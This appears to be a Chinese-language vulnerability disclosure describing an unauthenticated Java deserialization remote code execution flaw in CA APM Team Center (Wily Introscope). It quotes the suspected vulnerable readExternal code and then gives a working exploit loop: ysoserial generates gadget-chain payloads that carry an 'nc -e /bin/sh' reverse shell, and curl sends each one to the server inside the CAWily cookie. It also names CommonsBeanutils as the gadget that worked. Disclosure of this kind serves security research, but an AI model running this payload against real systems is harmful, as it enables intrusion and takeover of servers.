CA APM Team Center (Wily Introscope) 中的远程代码执行漏洞。
CA APM Team Center 中的反序列化漏洞导致未经验证的远程代码执行在服务器上。
当向服务器进行身份验证时,返回的 cookie 以臭名昭著的 rO0 字符串开头,表明这是一个 base64 编码的序列化对象:

尽管我没有完全静态地追踪这个问题,但下面的代码很可能是存在漏洞的代码:
public class HttpRequestHeaderInfo implements Externalizable {
public void readExternal(ObjectInput in) throws IOException, ClassNotFoundException {
in.readInt();
int numMapEntries = in.readInt();
this.fRequestParameterMap = (numMapEntries == 0) ? Collections.EMPTY_MAP : new HashMap(numMapEntries);
for (int i = 0; i < numMapEntries; i++) {
this.fRequestParameterMap.put(in.readUTF(), in.readObject());
}
int numCookies = in.readInt();
this.fCookies = (numCookies == 0) ? kNoCookies : new Cookie[numCookies];
for (int j = 0; j < this.fCookies.length; j++) {
this.fCookies[j] = new Cookie((String)in.readObject(), (String)in.readObject());
}
}
}
注意,参数映射和 cookie 都是使用 readObject() 从用户输入中反序列化的。
通过在一个 for 循环中识别合适的 gadget,可以轻易利用此漏洞:
for gadget in AspectJWeaver BeanShell1 C3P0 Click1 Clojure CommonsBeanutils1 CommonsCollections1 CommonsCollections2 CommonsCollections3 CommonsCollections4 CommonsCollections5 CommonsCollections6 CommonsCollections7 FileUpload1 Groovy1 Hibernate1 Hibernate2 JBossInterceptors1 JRMPClient JRMPListener JSON1 JavassistWeld1 Jdk7u21 Jython1 MozillaRhino1 MozillaRhino2 Myfaces1 Myfaces2 ROME Spring1 Spring2 URLDNS Vaadin1 Wicket1
do
java -jar ./ysoserial-0.0.6-SNAPSHOT-all.jar $gadget "nc -e /bin/sh ..." | base64 -w0 > cookie
payload=$(cat cookie)
curl -s -k 'https://remoteserver/' -X POST -H "Cookie: CAWily=$payload"
done
对我来说,唯一能产生远程代码执行的 payload 是 CommonsBeanutils。嵌入的 JAR 是 org.apache.commons_beanutils_1.9.2.1.jar,并且根据 maven 仓库 的信息,它确实包含一个可利用的 gadget。
必须感谢某个特别的人,他让我再三检查了 header。